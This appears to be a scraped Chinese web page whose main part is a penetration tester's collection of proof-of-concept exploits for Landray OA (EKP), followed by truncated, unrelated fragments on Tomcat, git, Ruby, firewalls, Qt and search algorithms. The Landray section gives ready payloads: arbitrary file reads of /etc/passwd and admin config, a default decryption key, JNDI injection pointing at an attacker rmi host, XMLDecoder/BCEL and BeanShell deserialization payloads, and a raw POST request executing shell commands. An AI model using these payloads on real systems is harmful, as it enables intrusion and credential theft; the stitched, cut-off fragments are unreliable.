目录
背景是由于一次和友商共同的渗透项目测试中,其中一个系统使用了蓝凌OA,但当时由于一些原因觉得版本挺新应该是打了补丁的故在测试中没有仔细遍历复现蓝凌OA的历史常见RCE漏洞,后续对比了友商的报告发现别人测的两个RCE,故统一做个poc积累学习,混个眼熟防止下次渗透或攻防时漏掉。
蓝凌OA(EKP)存在任意文件读取漏洞可能导致敏感信息泄露。
漏洞路径:/sys/ui/extend/varkind/custom.jsp,访问后抓包,在body中加入payload:var={“body”:{“file”:“file:///etc/passwd”}},发送post请求。

配合上述任意文件读取漏洞获取敏感信息,读取配置文件得到密钥后访问 admin.do 可利用 JNDI远程命令执行获取权限。
利用任意文件读取/WEB-INF/KmssConfig/admin.properties配置文件
由此获得加密的password,据说蓝凌OA默认为DES加密,且有个默认密钥为 kmssAdminKey,可以拿着password在在线网站上尝试解密(返回的password字符串去掉末尾的/r在进行解密)
用解密出来的明文密码尝试登录后台地址:admin.do,此地址也可能由爆破得到:

burp抓包,body添加payload:method=testDbConn&datasource=rmi://vpsip:port/exp,exp构造同常见的如fastjson所用:
写入想执行的命令并编译成恶意类(编译兼容java1.7)后放到web服务器上。再使用marshalsec工具(https://github.com/mbechler/marshalsec)构建一个JNDI服务。
发送payload:

sysSearchMain.do文件,存在任意文件写入漏洞,攻击者获取后台权限后可通过漏洞写入任意文件,也可以通过 custom.jsp 文件未授权写入恶意文件,导致RCE。
若通过custom.jsp写入,payload为:var={“body”:{“file”:“/sys/search/sys_search_main/sysSearchMain.do?method=editParam”}}&fdParemNames=11&fdParameters=[shellcode]
shellcode:<java> <void class="com.sun.org.apache.bcel.internal.util.ClassLoader"> <void method="loadClass"> <string>$$BCEL$$......</string> <void method="newInstance"></void> </void> </void> </java> //使用了BCEL利用链(BCEL包下的ClassLoader类)
同上一漏洞一样编译恶意exp类//不要使用java8u251以后版本
使用BCEL编码工具:https://github.com/Xd-tl/BCELCode
插入发送:
漏洞成因对FdParameters参数过滤不严,传给ojectXmlDecoder造成反序列化。
tips:如果OA存在bsh可直接执行命令,可直接回显或打入内存马,或者后台洞情况,web管理员权限添加反序列化白名单:如bsh.Intepreter(BeanShell利用链中bash.Interpreter的eval方法)
payload:var={"body":{"file":"/sys/search/sys_search_main/sysSearchMain.do?method=editParam"}}&fdParemNames=11&fdParameters=<java><void class="bsh.Interpreter"><void method="eval"><string>Runtime.getRuntime().exec("calc");</string></void></void></java>
回显payload:
//太菜了不懂回显payload细节
dataxml.jsp 、treexml.tmpl等代码执行
漏洞地址:/data/sys-common/treexml.tmpl、 /sys/common/dataxml.jsp、 /sys/common/treexml.jsp、 /sys/common/treejson.jsp、 /sys/common/datajson.jsp、 /data/sys-common/dataxml、 /data/sys-common/treexml、 /data/sys-common/datajson
以上地址都可以尝试一下
payload如:
POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1
Host: test.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 176
var={"body":{"file":"/data/sys-common/datajson"}}&s_bean=sysFormulaValidateByJS&script=new java.lang.ProcessBuilder['(java.lang.String[])'](['sh','-c','touch /tmp/1']).start();
s_bean或为RuleFormulaValidate对应treexml.tmpl或sysFormulaValidateByJS
具体原理和利用区别可查看https://unsafe.sh/go-123305.html
最后再放一个OA集合利用的工具:https://github.com/LittleBear4/OA-EXPTOOL

目录1.漏洞简介2、AJP13协议介绍Tomcat主要有两大功能:3.Tomcat远程文件包含漏洞分析4.漏洞复现 5、漏洞分析6.RCE实现的原理1.漏洞简介2020年2月20日,公开CNVD的漏洞公告中发现ApacheTomcat文件包含漏洞(CVE-2020-1938)。ApacheTomcat是Apache开源组织开发的用于处理HTTP服务的项目。ApacheTomcat服务器中被发现存在文件包含漏洞,攻击者可利用该漏洞读取或包含Tomcat上所有webapp目录下的任意文件。该漏洞是一个单独的文件包含漏洞,依赖于Tomcat的AJP(定向包协议)。AJP自身存在一定缺陷,导致存在可控
文章目录git常用命令(简介,详细参数往下看)Git提交代码步骤gitpullgitstatusgitaddgitcommitgitpushgit代码冲突合并问题方法一:放弃本地代码方法二:合并代码常用命令以及详细参数gitadd将文件添加到仓库:gitdiff比较文件异同gitlog查看历史记录gitreset代码回滚版本库相关操作远程仓库相关操作分支相关操作创建分支查看分支:gitbranch合并分支:gitmerge删除分支:gitbranch-ddev查看分支合并图:gitlog–graph–pretty=oneline–abbrev-commit撤消某次提交git用户名密码相关配置g
我正在构建一个应用程序,想知道是否将未使用的对象设置为nil是生产级编码中的常见做法。我知道这只是垃圾收集器的提示,并不总是处理对象。 最佳答案 根据这个thread如果您使用完一个成员对象,将其设置为nil将引发被引用对象被垃圾回收。如果它是局部变量,方法exit将做同样的事情。也就是说,如果您要求将成员显式设置为nil,我会质疑您的设计。 关于ruby-将对象设置为nil是否很常见?,我们在StackOverflow上找到一个类似的问题: https://
我最近与一位同事讨论了以下Ruby语法:value=ifa==0"foo"elsifa>42"bar"else"fizz"end我个人并没有看到太多这种逻辑,但我的同事指出,这实际上是一种相当普遍的Rubyism。我试着用谷歌搜索这个主题,但没有找到任何文章、页面或SO问题来讨论它,这让我相信这可能是一种非常实际的技术。然而,另一位同事发现语法令人困惑,而是将上面的逻辑写成这样:ifa==0value="foo"elsifa>42value="bar"elsevalue="fizz"end缺点是value=的重复声明和隐式elsenil的丢失,如果我们想使用它的话。这也感觉它与Ruby
什么是0day漏洞?0day漏洞,是指已经被发现,但是还未被公开,同时官方还没有相关补丁的漏洞;通俗的讲,就是除了黑客,没人知道他的存在,其往往具有很大的突发性、破坏性、致命性。0day漏洞之所以称为0day,正是因为其补丁永远晚于攻击。所以攻击者利用0day漏洞攻击的成功率极高,往往可以达到目的并全身而退,而防守方却一无所知,只有在漏洞公布之后,才后知后觉,却为时已晚。“后知后觉、反应迟钝”就是当前安全防护面对0day攻击的真实写照!为了方便大家理解,中科三方为大家梳理当前安全防护模式下,一个漏洞从发现到解决的三个时间节点:T0:此时漏洞即0day漏洞,是已经被发现,还未被公开,官方还没有相
安全产品安全网关类防火墙Firewall防火墙防火墙主要用于边界安全防护的权限控制和安全域的划分。防火墙•信息安全的防护系统,依照特定的规则,允许或是限制传输的数据通过。防火墙是一个由软件和硬件设备组合而成,在内外网之间、专网与公网之间的界面上构成的保护屏障。下一代防火墙•下一代防火墙,NextGenerationFirewall,简称NGFirewall,是一款可以全面应对应用层威胁的高性能防火墙,提供网络层应用层一体化安全防护。生产厂家•联想网御、CheckPoint、深信服、网康、天融信、华为、H3C等防火墙部署部署于内、外网编辑额,用于权限访问控制和安全域划分。UTM统一威胁管理(Un
目录一.大致如下常见问题:(1)找不到程序所依赖的Qt库version`Qt_5'notfound(requiredby(2)CouldnotLoadtheQtplatformplugin"xcb"in""eventhoughitwasfound(3)打包到在不同的linux系统下,或者打包到高版本的相同系统下,运行程序时,直接提示段错误即segmentationfault,或者Illegalinstruction(coredumped)非法指令(4)ldd应用程序或者库,查看运行所依赖的库时,直接报段错误二.问题逐个分析,得出解决方法:(1)找不到程序所依赖的Qt库version`Qt_5'
集成背景我们当前集群使用的是ClouderaCDP,Flink版本为ClouderaVersion1.14,整体Flink安装目录以及配置文件结构与社区版本有较大出入。直接根据Streampark官方文档进行部署,将无法配置FlinkHome,以及后续整体Flink任务提交到集群中,因此需要进行针对化适配集成,在满足使用需求上,尽量提供完整的Streampark使用体验。集成步骤版本匹配问题解决首先解决无法识别Cloudera中的FlinkHome问题,根据报错主要明确到的事情是无法读取到Flink版本、lib下面的jar包名称无法匹配。修改对象:修改源码:(解决无法匹配clouderajar
看起来Lisp和Clojure程序员经常直接在REPL中开发程序。比照。ClojureDevelopment:IDEorREPL?我的问题是,为什么这种方法在Ruby中不是更常见,通过irb?这仅仅是文化差异,还是有结构(特定于语言)的原因导致以REPL为中心的开发在Lisp中比在Ruby和Python等语言中更常见? 最佳答案 Lisp语法似乎非常适合组合REPL和源文件的方法。当每个表单的文本限制很明确时,以编程方式移动代码片段会容易得多。 关于ruby-为什么REPL风格的开发在R
本篇讲的是常见的搜索模板,搜索题的解法时比较固定的,只要把模板记熟,加上自己找几道习题练习体会后,相信各位下次遇到这类题一定能拿下!!下面我将已典型的题目为例子介绍几种常见的搜索方式。 1.二分搜索二分搜索代码模板:例题:#includeusingnamespacestd;doublen;constdoubleeps=1e-12;//二分搜索intmain(){ intt; cin>>t; while(t--){ cin>>n; doublel=0,r=100000,res=-1; while(ln)r=mid-0.0001; elseif(mid*mid*mid二分搜索是只能对有